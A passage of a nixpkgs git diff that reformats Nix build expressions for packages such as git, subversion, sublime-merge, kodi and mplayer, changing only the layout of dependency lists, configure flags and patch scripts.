-      # XXX: Some tests added in 2.24.0 fail.
-      # Please try to re-enable on the next release.
-      disable_test t7816-grep-binary-pattern
-      # fail (as of 2.33.0)
-      #===(   18623;1208  8/?  224/?  2/? )= =fatal: Not a valid object name refs/tags/signed-empty
-      disable_test t6300-for-each-ref
-      # not ok 1 - populate workdir (with 2.33.1 on x86_64-darwin)
-      disable_test t5003-archive-zip
-    ''
-    + lib.optionalString (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) ''
-      disable_test t7527-builtin-fsmonitor
-    ''
-    +
-      lib.optionalString (stdenv.hostPlatform.isStatic && stdenv.hostPlatform.system == "x86_64-linux")
-        ''
-          # https://github.com/NixOS/nixpkgs/pull/394957
-          # > t2082-parallel-checkout-attributes.sh            (Wstat: 256 (exited 1) Tests: 5 Failed: 1)
-          disable_test t2082-parallel-checkout-attributes
-        ''
-    + lib.optionalString stdenv.hostPlatform.isMusl ''
-      # Test fails (as of 2.17.0, musl 1.1.19)
-      disable_test t3900-i18n-commit
-      # Fails largely due to assumptions about BOM
-      # Tested to fail: 2.18.0
-      disable_test t0028-working-tree-encoding
-    '';
+    # Fails reproducibly on ZFS on Linux with formD normalization
+    disable_test t0021-conversion
+    disable_test t3910-mac-os-precompose
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    # XXX: Some tests added in 2.24.0 fail.
+    # Please try to re-enable on the next release.
+    disable_test t7816-grep-binary-pattern
+    # fail (as of 2.33.0)
+    #===(   18623;1208  8/?  224/?  2/? )= =fatal: Not a valid object name refs/tags/signed-empty
+    disable_test t6300-for-each-ref
+    # not ok 1 - populate workdir (with 2.33.1 on x86_64-darwin)
+    disable_test t5003-archive-zip
+  ''
+  + lib.optionalString (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) ''
+    disable_test t7527-builtin-fsmonitor
+  ''
+  +
+    lib.optionalString (stdenv.hostPlatform.isStatic && stdenv.hostPlatform.system == "x86_64-linux")
+      ''
+        # https://github.com/NixOS/nixpkgs/pull/394957
+        # > t2082-parallel-checkout-attributes.sh            (Wstat: 256 (exited 1) Tests: 5 Failed: 1)
+        disable_test t2082-parallel-checkout-attributes
+      ''
+  + lib.optionalString stdenv.hostPlatform.isMusl ''
+    # Test fails (as of 2.17.0, musl 1.1.19)
+    disable_test t3900-i18n-commit
+    # Fails largely due to assumptions about BOM
+    # Tested to fail: 2.18.0
+    disable_test t0028-working-tree-encoding
+  '';
 
   stripDebugList = [
     "lib"
@@ -553,7 +544,8 @@ stdenv.mkDerivation (finalAttrs: {
         doInstallCheck = true;
       });
       buildbot-integration = nixosTests.buildbot;
-    } // tests.fetchgit;
+    }
+    // tests.fetchgit;
     updateScript = ./update.sh;
   };
 
diff --git a/pkgs/applications/version-management/monotone-viz/graphviz-2.0.nix b/pkgs/applications/version-management/monotone-viz/graphviz-2.0.nix
index 28e55d446ae1..88fa657da437 100644
--- a/pkgs/applications/version-management/monotone-viz/graphviz-2.0.nix
+++ b/pkgs/applications/version-management/monotone-viz/graphviz-2.0.nix
@@ -54,7 +54,8 @@ stdenv.mkDerivation rec {
     "--with-expatlibdir=${expat.out}/lib"
     "--with-ltdl-include=${libtool}/include"
     "--with-ltdl-lib=${libtool.lib}/lib"
-  ] ++ lib.optional (libX11 == null) "--without-x";
+  ]
+  ++ lib.optional (libX11 == null) "--without-x";
 
   meta = {
     description = "Program for visualising graphs";
diff --git a/pkgs/applications/version-management/monotone/default.nix b/pkgs/applications/version-management/monotone/default.nix
index 216175b8ee88..b72173aef2fd 100644
--- a/pkgs/applications/version-management/monotone/default.nix
+++ b/pkgs/applications/version-management/monotone/default.nix
@@ -59,16 +59,15 @@ stdenv.mkDerivation rec {
     ./monotone-1.1-gcc-14.patch
   ];
 
-  postPatch =
-    ''
-      sed -e 's@/usr/bin/less@${less}/bin/less@' -i src/unix/terminal.cc
-    ''
-    + lib.optionalString (lib.versionAtLeast boost.version "1.73") ''
-      find . -type f -exec sed -i \
-        -e 's/ E(/ internal_E(/g' \
-        -e 's/{E(/{internal_E(/g' \
-        {} +
-    '';
+  postPatch = ''
+    sed -e 's@/usr/bin/less@${less}/bin/less@' -i src/unix/terminal.cc
+  ''
+  + lib.optionalString (lib.versionAtLeast boost.version "1.73") ''
+    find . -type f -exec sed -i \
+      -e 's/ E(/ internal_E(/g' \
+      -e 's/{E(/{internal_E(/g' \
+      {} +
+  '';
 
   CXXFLAGS = " --std=c++11 ";
 
diff --git a/pkgs/applications/version-management/silver-platter/default.nix b/pkgs/applications/version-management/silver-platter/default.nix
index 8c585b7e6f8e..b4f718706b00 100644
--- a/pkgs/applications/version-management/silver-platter/default.nix
+++ b/pkgs/applications/version-management/silver-platter/default.nix
@@ -49,7 +49,8 @@ buildPythonApplication rec {
     rustPlatform.cargoSetupHook
     cargo
     rustc
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ pkg-config ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ pkg-config ];
   buildInputs =
     lib.optionals stdenv.hostPlatform.isLinux [ openssl ]
     ++ lib.optionals stdenv.hostPlatform.isDarwin [ libiconv ];
diff --git a/pkgs/applications/version-management/sublime-merge/common.nix b/pkgs/applications/version-management/sublime-merge/common.nix
index 5398fe6b781b..f586b7e64cbf 100644
--- a/pkgs/applications/version-management/sublime-merge/common.nix
+++ b/pkgs/applications/version-management/sublime-merge/common.nix
@@ -150,30 +150,29 @@ stdenv.mkDerivation (rec {
     makeWrapper
   ];
 
-  installPhase =
-    ''
-      runHook preInstall
-      mkdir -p "$out/bin"
-      makeWrapper "''$${primaryBinary}/${primaryBinary}" "$out/bin/${primaryBinary}"
-    ''
-    + builtins.concatStringsSep "" (
-      map (binaryAlias: "ln -s $out/bin/${primaryBinary} $out/bin/${binaryAlias}\n") primaryBinaryAliases
-    )
-    + ''
-      mkdir -p "$out/share/applications"
+  installPhase = ''
+    runHook preInstall
+    mkdir -p "$out/bin"
+    makeWrapper "''$${primaryBinary}/${primaryBinary}" "$out/bin/${primaryBinary}"
+  ''
+  + builtins.concatStringsSep "" (
+    map (binaryAlias: "ln -s $out/bin/${primaryBinary} $out/bin/${binaryAlias}\n") primaryBinaryAliases
+  )
+  + ''
+    mkdir -p "$out/share/applications"
 
-      substitute \
-        "''$${primaryBinary}/${primaryBinary}.desktop" \
-        "$out/share/applications/${primaryBinary}.desktop" \
-        --replace-fail "/opt/${primaryBinary}/${primaryBinary}" "${primaryBinary}"
+    substitute \
+      "''$${primaryBinary}/${primaryBinary}.desktop" \
+      "$out/share/applications/${primaryBinary}.desktop" \
+      --replace-fail "/opt/${primaryBinary}/${primaryBinary}" "${primaryBinary}"
 
-      for directory in ''$${primaryBinary}/Icon/*; do
-        size=$(basename $directory)
-        mkdir -p "$out/share/icons/hicolor/$size/apps"
-        ln -s ''$${primaryBinary}/Icon/$size/* $out/share/icons/hicolor/$size/apps
-      done
-      runHook postInstall
-    '';
+    for directory in ''$${primaryBinary}/Icon/*; do
+      size=$(basename $directory)
+      mkdir -p "$out/share/icons/hicolor/$size/apps"
+      ln -s ''$${primaryBinary}/Icon/$size/* $out/share/icons/hicolor/$size/apps
+    done
+    runHook postInstall
+  '';
 
   passthru = {
     updateScript =
diff --git a/pkgs/applications/version-management/subversion/default.nix b/pkgs/applications/version-management/subversion/default.nix
index 5513f8bfd0f5..4a87cbd4f308 100644
--- a/pkgs/applications/version-management/subversion/default.nix
+++ b/pkgs/applications/version-management/subversion/default.nix
@@ -64,23 +64,22 @@ let
           python3
         ];
 
-        buildInputs =
-          [
-            zlib
-            apr
-            aprutil
-            sqlite
-            openssl
-            lz4
-            utf8proc
-          ]
-          ++ lib.optional httpSupport serf
-          ++ lib.optionals pythonBindings [
-            python3
-            py3c
-          ]
-          ++ lib.optional perlBindings perl
-          ++ lib.optional saslSupport sasl;
+        buildInputs = [
+          zlib
+          apr
+          aprutil
+          sqlite
+          openssl
+          lz4
+          utf8proc
+        ]
+        ++ lib.optional httpSupport serf
+        ++ lib.optionals pythonBindings [
+          python3
+          py3c
+        ]
+        ++ lib.optional perlBindings perl
+        ++ lib.optional saslSupport sasl;
 
         patches = [ ./apr-1.patch ] ++ extraPatches;
 
@@ -99,22 +98,21 @@ let
           ./autogen.sh
         '';
 
-        configureFlags =
-          [
-            (lib.withFeature bdbSupport "berkeley-db")
-            (lib.withFeatureAs httpServer "apxs" "${apacheHttpd.dev}/bin/apxs")
-            (lib.withFeatureAs (pythonBindings || perlBindings) "swig" swig)
-            (lib.withFeatureAs saslSupport "sasl" sasl)
-            (lib.withFeatureAs httpSupport "serf" serf)
-            "--with-zlib=${zlib.dev}"
-            "--with-sqlite=${sqlite.dev}"
-            "--with-apr=${apr.dev}"
-            "--with-apr-util=${aprutil.dev}"
-          ]
-          ++ lib.optionals javahlBindings [
-            "--enable-javahl"
-            "--with-jdk=${jdk}"
-          ];
+        configureFlags = [
+          (lib.withFeature bdbSupport "berkeley-db")
+          (lib.withFeatureAs httpServer "apxs" "${apacheHttpd.dev}/bin/apxs")
+          (lib.withFeatureAs (pythonBindings || perlBindings) "swig" swig)
+          (lib.withFeatureAs saslSupport "sasl" sasl)
+          (lib.withFeatureAs httpSupport "serf" serf)
+          "--with-zlib=${zlib.dev}"
+          "--with-sqlite=${sqlite.dev}"
+          "--with-apr=${apr.dev}"
+          "--with-apr-util=${aprutil.dev}"
+        ]
+        ++ lib.optionals javahlBindings [
+          "--enable-javahl"
+          "--with-jdk=${jdk}"
+        ];
 
         preBuild = ''
           makeFlagsArray=(APACHE_LIBEXECDIR=$out/modules)
diff --git a/pkgs/applications/video/anilibria-winmaclinux/default.nix b/pkgs/applications/video/anilibria-winmaclinux/default.nix
index 7b53783e3058..3add0df66466 100644
--- a/pkgs/applications/video/anilibria-winmaclinux/default.nix
+++ b/pkgs/applications/video/anilibria-winmaclinux/default.nix
@@ -32,10 +32,11 @@ mkDerivation rec {
 
   sourceRoot = "${src.name}/src";
 
-  qmakeFlags =
-    [ "PREFIX=${placeholder "out"}" ]
-    ++ lib.optionals withVLC [ "CONFIG+=unixvlc" ]
-    ++ lib.optionals withMPV [ "CONFIG+=unixmpv" ];
+  qmakeFlags = [
+    "PREFIX=${placeholder "out"}"
+  ]
+  ++ lib.optionals withVLC [ "CONFIG+=unixvlc" ]
+  ++ lib.optionals withMPV [ "CONFIG+=unixmpv" ];
 
   patches = [
     ./0001-fix-installation-paths.patch
@@ -69,22 +70,21 @@ mkDerivation rec {
     copyDesktopItems
   ];
 
-  buildInputs =
-    [
-      qtbase
-      qtquickcontrols2
-      qtwebsockets
-      qtmultimedia
-    ]
-    ++ (with gst_all_1; [
-      gst-plugins-bad
-      gst-plugins-good
-      gst-plugins-base
-      gst-libav
-      gstreamer
-    ])
-    ++ lib.optionals withVLC [ libvlc ]
-    ++ lib.optionals withMPV [ mpv-unwrapped.dev ];
+  buildInputs = [
+    qtbase
+    qtquickcontrols2
+    qtwebsockets
+    qtmultimedia
+  ]
+  ++ (with gst_all_1; [
+    gst-plugins-bad
+    gst-plugins-good
+    gst-plugins-base
+    gst-libav
+    gstreamer
+  ])
+  ++ lib.optionals withVLC [ libvlc ]
+  ++ lib.optionals withMPV [ mpv-unwrapped.dev ];
 
   desktopItems = [
     (makeDesktopItem (rec {
diff --git a/pkgs/applications/video/clipgrab/default.nix b/pkgs/applications/video/clipgrab/default.nix
index 0ac6cae8d569..edc680fad6ba 100644
--- a/pkgs/applications/video/clipgrab/default.nix
+++ b/pkgs/applications/video/clipgrab/default.nix
@@ -43,17 +43,16 @@ mkDerivation rec {
     ./yt-dlp-path.patch
   ];
 
-  postPatch =
-    ''
-      substituteInPlace youtube_dl.cpp \
-        --replace 'QString YoutubeDl::path = QString();' \
-                  'QString YoutubeDl::path = QString("${yt-dlp}/bin/yt-dlp");'
-    ''
-    + lib.optionalString (ffmpeg != null) ''
-      substituteInPlace converter_ffmpeg.cpp \
-        --replace '"ffmpeg"' '"${ffmpeg.bin}/bin/ffmpeg"' \
-        --replace '"ffmpeg ' '"${ffmpeg.bin}/bin/ffmpeg '
-    '';
+  postPatch = ''
+    substituteInPlace youtube_dl.cpp \
+      --replace 'QString YoutubeDl::path = QString();' \
+                'QString YoutubeDl::path = QString("${yt-dlp}/bin/yt-dlp");'
+  ''
+  + lib.optionalString (ffmpeg != null) ''
+    substituteInPlace converter_ffmpeg.cpp \
+      --replace '"ffmpeg"' '"${ffmpeg.bin}/bin/ffmpeg"' \
+      --replace '"ffmpeg ' '"${ffmpeg.bin}/bin/ffmpeg '
+  '';
 
   qmakeFlags = [ "clipgrab.pro" ];
 
diff --git a/pkgs/applications/video/hyperion-ng/default.nix b/pkgs/applications/video/hyperion-ng/default.nix
index f803f0f694de..6b4a4bf32bb4 100644
--- a/pkgs/applications/video/hyperion-ng/default.nix
+++ b/pkgs/applications/video/hyperion-ng/default.nix
@@ -39,30 +39,30 @@ stdenv.mkDerivation rec {
     fetchSubmodules = true;
   };
 
-  buildInputs =
-    [
-      alsa-lib
-      hidapi
-      libusb1
-      libX11
-      libxcb
-      libXrandr
-      flatbuffers
-      protobuf
-      mbedtls
-      python3
-      qtbase
-      qtserialport
-      qtsvg
-      qtx11extras
-    ]
-    ++ lib.optional stdenv.hostPlatform.isLinux libcec
-    ++ lib.optional withRPiDispmanx libraspberrypi;
+  buildInputs = [
+    alsa-lib
+    hidapi
+    libusb1
+    libX11
+    libxcb
+    libXrandr
+    flatbuffers
+    protobuf
+    mbedtls
+    python3
+    qtbase
+    qtserialport
+    qtsvg
+    qtx11extras
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux libcec
+  ++ lib.optional withRPiDispmanx libraspberrypi;
 
   nativeBuildInputs = [
     cmake
     wrapQtAppsHook
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin perl; # for macos bundle
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin perl; # for macos bundle
 
   patchPhase = ''
     patchShebangs test/testrunner.sh
@@ -76,7 +76,8 @@ stdenv.mkDerivation rec {
     "-DUSE_SYSTEM_MBEDTLS_LIBS=ON"
     # "-DUSE_SYSTEM_QMDNS_LIBS=ON"  # qmdnsengine not in nixpkgs yet
     "-DENABLE_TESTS=ON"
-  ] ++ lib.optional (withRPiDispmanx == false) "-DENABLE_DISPMANX=OFF";
+  ]
+  ++ lib.optional (withRPiDispmanx == false) "-DENABLE_DISPMANX=OFF";
 
   doCheck = true;
   checkPhase = ''
diff --git a/pkgs/applications/video/jellyfin-media-player/default.nix b/pkgs/applications/video/jellyfin-media-player/default.nix
index ebcdc89f4f1e..57300cd86484 100644
--- a/pkgs/applications/video/jellyfin-media-player/default.nix
+++ b/pkgs/applications/video/jellyfin-media-player/default.nix
@@ -40,22 +40,21 @@ mkDerivation rec {
     ./disable-update-notifications.patch
   ];
 
-  buildInputs =
-    [
-      SDL2
-      libGL
-      libX11
-      libXrandr
-      libvdpau
-      mpv
-      qtbase
-      qtwebchannel
-      qtwebengine
-      qtx11extras
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      qtwayland
-    ];
+  buildInputs = [
+    SDL2
+    libGL
+    libX11
+    libXrandr
+    libvdpau
+    mpv
+    qtbase
+    qtwebchannel
+    qtwebengine
+    qtx11extras
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    qtwayland
+  ];
 
   nativeBuildInputs = [
     cmake
@@ -64,14 +63,13 @@ mkDerivation rec {
     python3
   ];
 
-  cmakeFlags =
-    [
-      "-DQTROOT=${qtbase}"
-      "-GNinja"
-    ]
-    ++ lib.optionals (!withDbus) [
-      "-DLINUX_X11POWER=ON"
-    ];
+  cmakeFlags = [
+    "-DQTROOT=${qtbase}"
+    "-GNinja"
+  ]
+  ++ lib.optionals (!withDbus) [
+    "-DLINUX_X11POWER=ON"
+  ];
 
   preConfigure = ''
     # link the jellyfin-web files to be copied by cmake (see fix-web-path.patch)
diff --git a/pkgs/applications/video/kodi/build-kodi-binary-addon.nix b/pkgs/applications/video/kodi/build-kodi-binary-addon.nix
index 53700cb6f77d..894a476540cc 100644
--- a/pkgs/applications/video/kodi/build-kodi-binary-addon.nix
+++ b/pkgs/applications/video/kodi/build-kodi-binary-addon.nix
@@ -30,14 +30,16 @@ toKodiAddon (
         kodi
         kodi-platform
         libcec_platform
-      ] ++ extraBuildInputs;
+      ]
+      ++ extraBuildInputs;
 
       inherit extraRuntimeDependencies;
 
       # disables check ensuring install prefix is that of kodi
       cmakeFlags = [
         "-DOVERRIDE_PATHS=1"
-      ] ++ extraCMakeFlags;
+      ]
+      ++ extraCMakeFlags;
 
       # kodi checks for addon .so libs existence in the addon folder (share/...)
       # and the non-wrapped kodi lib/... folder before even trying to dlopen
diff --git a/pkgs/applications/video/kodi/unwrapped.nix b/pkgs/applications/video/kodi/unwrapped.nix
index 4012b94eb450..d0fcecfeef35 100644
--- a/pkgs/applications/video/kodi/unwrapped.nix
+++ b/pkgs/applications/video/kodi/unwrapped.nix
@@ -220,205 +220,201 @@ stdenv.mkDerivation (finalAttrs: {
     apache_commons_text
     ;
 
-  buildInputs =
-    [
-      gnutls
-      libidn2
-      libtasn1
-      nasm
-      p11-kit
-      libxml2
-      python3Packages.python
-      boost
-      libmicrohttpd
-      gettext
-      pcre-cpp
-      yajl
-      fribidi
-      libva
-      libdrm
-      openssl
-      gperf
-      tinyxml2
-      tinyxml-2
-      taglib
-      libssh
-      gtest
-      ncurses
-      spdlog
-      alsa-lib
-      libGL
-      libGLU
-      fontconfig
-      freetype
-      ftgl
-      libjpeg
-      libpng
-      libtiff
-      libmpeg2
-      libsamplerate
-      libmad
-      libogg
-      libvorbis
-      flac
-      libxslt
-      systemd
-      lzo
-      libcdio
-      libmodplug
-      libass
-      libbluray
-      libudfread
-      sqlite
-      libmysqlclient
-      avahi
-      lame
-      curl
-      bzip2
-      zip
-      unzip
-      mesa-demos
-      libcec
-      libcec_platform
-      dcadec
-      libuuid
-      libxcrypt
-      libgcrypt
-      libgpg-error
-      libunistring
-      libcrossguid
-      libplist
-      bluez
-      giflib
-      glib
-      harfbuzz
-      lcms2
-      libpthreadstubs
-      ffmpeg
-      flatbuffers
-      fstrcmp
-      rapidjson
-      lirc
-      mesa-gl-headers
-    ]
-    ++ lib.optionals x11Support [
-      libX11
-      xorgproto
-      libXt
-      libXmu
-      libXext.dev
-      libXdmcp
-      libXinerama
-      libXrandr.dev
-      libXtst
-      libXfixes
-    ]
-    ++ lib.optional dbusSupport dbus
-    ++ lib.optional joystickSupport cwiid
-    ++ lib.optional nfsSupport libnfs
-    ++ lib.optional pulseSupport libpulseaudio
-    ++ lib.optional pipewireSupport pipewire
-    ++ lib.optional rtmpSupport rtmpdump
-    ++ lib.optional sambaSupport samba
-    ++ lib.optional udevSupport udev
-    ++ lib.optional usbSupport libusb-compat-0_1
-    ++ lib.optional vdpauSupport libvdpau
-    ++ lib.optionals waylandSupport [
-      wayland
-      waylandpp.dev
-      wayland-protocols
-      # Not sure why ".dev" is needed here, but CMake doesn't find libxkbcommon otherwise
-      libxkbcommon.dev
-    ]
-    ++ lib.optionals gbmSupport [
-      libxkbcommon.dev
-      libgbm
-      libinput.dev
-      libdisplay-info
-    ];
+  buildInputs = [
+    gnutls
+    libidn2
+    libtasn1
+    nasm
+    p11-kit
+    libxml2
+    python3Packages.python
+    boost
+    libmicrohttpd
+    gettext
+    pcre-cpp
+    yajl
+    fribidi
+    libva
+    libdrm
+    openssl
+    gperf
+    tinyxml2
+    tinyxml-2
+    taglib
+    libssh
+    gtest
+    ncurses
+    spdlog
+    alsa-lib
+    libGL
+    libGLU
+    fontconfig
+    freetype
+    ftgl
+    libjpeg
+    libpng
+    libtiff
+    libmpeg2
+    libsamplerate
+    libmad
+    libogg
+    libvorbis
+    flac
+    libxslt
+    systemd
+    lzo
+    libcdio
+    libmodplug
+    libass
+    libbluray
+    libudfread
+    sqlite
+    libmysqlclient
+    avahi
+    lame
+    curl
+    bzip2
+    zip
+    unzip
+    mesa-demos
+    libcec
+    libcec_platform
+    dcadec
+    libuuid
+    libxcrypt
+    libgcrypt
+    libgpg-error
+    libunistring
+    libcrossguid
+    libplist
+    bluez
+    giflib
+    glib
+    harfbuzz
+    lcms2
+    libpthreadstubs
+    ffmpeg
+    flatbuffers
+    fstrcmp
+    rapidjson
+    lirc
+    mesa-gl-headers
+  ]
+  ++ lib.optionals x11Support [
+    libX11
+    xorgproto
+    libXt
+    libXmu
+    libXext.dev
+    libXdmcp
+    libXinerama
+    libXrandr.dev
+    libXtst
+    libXfixes
+  ]
+  ++ lib.optional dbusSupport dbus
+  ++ lib.optional joystickSupport cwiid
+  ++ lib.optional nfsSupport libnfs
+  ++ lib.optional pulseSupport libpulseaudio
+  ++ lib.optional pipewireSupport pipewire
+  ++ lib.optional rtmpSupport rtmpdump
+  ++ lib.optional sambaSupport samba
+  ++ lib.optional udevSupport udev
+  ++ lib.optional usbSupport libusb-compat-0_1
+  ++ lib.optional vdpauSupport libvdpau
+  ++ lib.optionals waylandSupport [
+    wayland
+    waylandpp.dev
+    wayland-protocols
+    # Not sure why ".dev" is needed here, but CMake doesn't find libxkbcommon otherwise
+    libxkbcommon.dev
+  ]
+  ++ lib.optionals gbmSupport [
+    libxkbcommon.dev
+    libgbm
+    libinput.dev
+    libdisplay-info
+  ];
 
-  nativeBuildInputs =
-    [
-      cmake
-      doxygen
-      makeWrapper
-      which
-      pkg-config
-      autoconf
-      automake
-      libtool # still needed for some components. Check if that is the case with 19.0
-      jre_headless
-      yasm
-      gettext
-      python3Packages.python
-      flatbuffers
+  nativeBuildInputs = [
+    cmake
+    doxygen
+    makeWrapper
+    which
+    pkg-config
+    autoconf
+    automake
+    libtool # still needed for some components. Check if that is the case with 19.0
+    jre_headless
+    yasm
+    gettext
+    python3Packages.python
+    flatbuffers
 
-      # for TexturePacker
-      giflib
-      zlib
-      libpng
-      libjpeg
-      lzo
-    ]
-    ++ lib.optionals waylandSupport [
-      wayland-protocols
-      waylandpp.bin
-    ];
+    # for TexturePacker
+    giflib
+    zlib
+    libpng
+    libjpeg
+    lzo
+  ]
+  ++ lib.optionals waylandSupport [
+    wayland-protocols
+    waylandpp.bin
+  ];
 
   depsBuildBuild = [
     buildPackages.stdenv.cc
   ];
 
-  cmakeFlags =
-    [
-      "-DAPP_RENDER_SYSTEM=${if gbmSupport then "gles" else "gl"}"
-      "-Dlibdvdcss_URL=${finalAttrs.libdvdcss}"
-      "-Dlibdvdnav_URL=${finalAttrs.libdvdnav}"
-      "-Dlibdvdread_URL=${finalAttrs.libdvdread}"
-      "-Dgroovy_SOURCE_DIR=${finalAttrs.groovy}"
-      "-Dapache-commons-lang_SOURCE_DIR=${finalAttrs.apache_commons_lang}"
-      "-Dapache-commons-text_SOURCE_DIR=${finalAttrs.apache_commons_text}"
-      # Upstream derives this from the git HEADs hash and date.
-      # LibreElec (minimal distro for kodi) uses the equivalent to this.
-      "-DGIT_VERSION=${finalAttrs.version}-${finalAttrs.kodiReleaseName}"
-      "-DENABLE_EVENTCLIENTS=ON"
-      "-DENABLE_INTERNAL_CROSSGUID=OFF"
-      "-DENABLE_INTERNAL_RapidJSON=OFF"
-      "-DENABLE_OPTICAL=${if opticalSupport then "ON" else "OFF"}"
-      "-DENABLE_VDPAU=${if vdpauSupport then "ON" else "OFF"}"
-      "-DLIRC_DEVICE=/run/lirc/lircd"
-      "-DSWIG_EXECUTABLE=${buildPackages.swig}/bin/swig"
-      "-DFLATBUFFERS_FLATC_EXECUTABLE=${buildPackages.flatbuffers}/bin/flatc"
-      "-DPYTHON_EXECUTABLE=${buildPackages.python3Packages.python}/bin/python"
-      "-DPYTHON_LIB_PATH=${python3Packages.python.sitePackages}"
-      # When wrapped KODI_HOME will likely contain symlinks to static assets
-      # that Kodi's built in webserver will cautiously refuse to serve up
-      # (because their realpaths are outside of KODI_HOME and the other
-      # whitelisted directories). This adds the entire nix store to the Kodi
-      # webserver whitelist to avoid this problem.
-      "-DKODI_WEBSERVER_EXTRA_WHITELIST=${builtins.storeDir}"
-    ]
-    ++ lib.optionals waylandSupport [
-      "-DWAYLANDPP_SCANNER=${buildPackages.waylandpp}/bin/wayland-scanner++"
-    ];
+  cmakeFlags = [
+    "-DAPP_RENDER_SYSTEM=${if gbmSupport then "gles" else "gl"}"
+    "-Dlibdvdcss_URL=${finalAttrs.libdvdcss}"
+    "-Dlibdvdnav_URL=${finalAttrs.libdvdnav}"
+    "-Dlibdvdread_URL=${finalAttrs.libdvdread}"
+    "-Dgroovy_SOURCE_DIR=${finalAttrs.groovy}"
+    "-Dapache-commons-lang_SOURCE_DIR=${finalAttrs.apache_commons_lang}"
+    "-Dapache-commons-text_SOURCE_DIR=${finalAttrs.apache_commons_text}"
+    # Upstream derives this from the git HEADs hash and date.
+    # LibreElec (minimal distro for kodi) uses the equivalent to this.
+    "-DGIT_VERSION=${finalAttrs.version}-${finalAttrs.kodiReleaseName}"
+    "-DENABLE_EVENTCLIENTS=ON"
+    "-DENABLE_INTERNAL_CROSSGUID=OFF"
+    "-DENABLE_INTERNAL_RapidJSON=OFF"
+    "-DENABLE_OPTICAL=${if opticalSupport then "ON" else "OFF"}"
+    "-DENABLE_VDPAU=${if vdpauSupport then "ON" else "OFF"}"
+    "-DLIRC_DEVICE=/run/lirc/lircd"
+    "-DSWIG_EXECUTABLE=${buildPackages.swig}/bin/swig"
+    "-DFLATBUFFERS_FLATC_EXECUTABLE=${buildPackages.flatbuffers}/bin/flatc"
+    "-DPYTHON_EXECUTABLE=${buildPackages.python3Packages.python}/bin/python"
+    "-DPYTHON_LIB_PATH=${python3Packages.python.sitePackages}"
+    # When wrapped KODI_HOME will likely contain symlinks to static assets
+    # that Kodi's built in webserver will cautiously refuse to serve up
+    # (because their realpaths are outside of KODI_HOME and the other
+    # whitelisted directories). This adds the entire nix store to the Kodi
+    # webserver whitelist to avoid this problem.
+    "-DKODI_WEBSERVER_EXTRA_WHITELIST=${builtins.storeDir}"
+  ]
+  ++ lib.optionals waylandSupport [
+    "-DWAYLANDPP_SCANNER=${buildPackages.waylandpp}/bin/wayland-scanner++"
+  ];
 
   # 14 tests fail but the biggest issue is that every test takes 30 seconds -
   # I'm guessing there is a thing waiting to time out
   doCheck = false;
 
-  preConfigure =
-    ''
-      cmakeFlagsArray+=("-DCORE_PLATFORM_NAME=${lib.concatStringsSep " " kodi_platforms}")
-    ''
-    + lib.optionalString (stdenv.hostPlatform != stdenv.buildPlatform) ''
-      # Need these tools on the build system when cross compiling,
-      # hacky, but have found no other way.
-      CXX=$CXX_FOR_BUILD LD=ld make -C tools/depends/native/JsonSchemaBuilder
-      appendToVar cmakeFlags "-DWITH_JSONSCHEMABUILDER=$PWD/tools/depends/native/JsonSchemaBuilder/bin"
+  preConfigure = ''
+    cmakeFlagsArray+=("-DCORE_PLATFORM_NAME=${lib.concatStringsSep " " kodi_platforms}")
+  ''
+  + lib.optionalString (stdenv.hostPlatform != stdenv.buildPlatform) ''
+    # Need these tools on the build system when cross compiling,
+    # hacky, but have found no other way.
+    CXX=$CXX_FOR_BUILD LD=ld make -C tools/depends/native/JsonSchemaBuilder
+    appendToVar cmakeFlags "-DWITH_JSONSCHEMABUILDER=$PWD/tools/depends/native/JsonSchemaBuilder/bin"
 
-      CXX=$CXX_FOR_BUILD LD=ld make EXTRA_CONFIGURE= -C tools/depends/native/TexturePacker
-      appendToVar cmakeFlags "-DWITH_TEXTUREPACKER=$PWD/tools/depends/native/TexturePacker/bin"
-    '';
+    CXX=$CXX_FOR_BUILD LD=ld make EXTRA_CONFIGURE= -C tools/depends/native/TexturePacker
+    appendToVar cmakeFlags "-DWITH_TEXTUREPACKER=$PWD/tools/depends/native/TexturePacker/bin"
+  '';
 
   postInstall = ''
     # TODO: figure out which binaries should be wrapped this way and which shouldn't
diff --git a/pkgs/applications/video/mplayer/default.nix b/pkgs/applications/video/mplayer/default.nix
index e880ffb89266..e29b7b34a4f7 100644
--- a/pkgs/applications/video/mplayer/default.nix
+++ b/pkgs/applications/video/mplayer/default.nix
@@ -138,91 +138,89 @@ stdenv.mkDerivation {
     pkg-config
     yasm
   ];
-  buildInputs =
-    [
-      freetype
-      ffmpeg
-    ]
-    ++ lib.optional aalibSupport aalib
-    ++ lib.optional fontconfigSupport fontconfig
-    ++ lib.optional fribidiSupport fribidi
-    ++ lib.optionals x11Support [
-      libX11
-      libXext
-      libGLU
-      libGL
-    ]
-    ++ lib.optional alsaSupport alsa-lib
-    ++ lib.optional xvSupport libXv
-    ++ lib.optional theoraSupport libtheora
-    ++ lib.optional cacaSupport libcaca
-    ++ lib.optional xineramaSupport libXinerama
-    ++ lib.optional dvdnavSupport libdvdnav
-    ++ lib.optional dvdreadSupport libdvdread
-    ++ lib.optional bluraySupport libbluray
-    ++ lib.optional cddaSupport cdparanoia
-    ++ lib.optional jackaudioSupport libjack2
-    ++ lib.optionals amrSupport [
-      amrnb
-      amrwb
-    ]
-    ++ lib.optional x264Support x264
-    ++ lib.optional pulseSupport libpulseaudio
-    ++ lib.optional screenSaverSupport libXScrnSaver
-    ++ lib.optional lameSupport lame
-    ++ lib.optional vdpauSupport libvdpau
-    ++ lib.optional speexSupport speex
-    ++ lib.optional libpngSupport libpng
-    ++ lib.optional libjpegSupport libjpeg
-    ++ lib.optional bs2bSupport libbs2b
-    ++ lib.optional v4lSupport libv4l;
+  buildInputs = [
+    freetype
+    ffmpeg
+  ]
+  ++ lib.optional aalibSupport aalib
+  ++ lib.optional fontconfigSupport fontconfig
+  ++ lib.optional fribidiSupport fribidi
+  ++ lib.optionals x11Support [
+    libX11
+    libXext
+    libGLU
+    libGL
+  ]
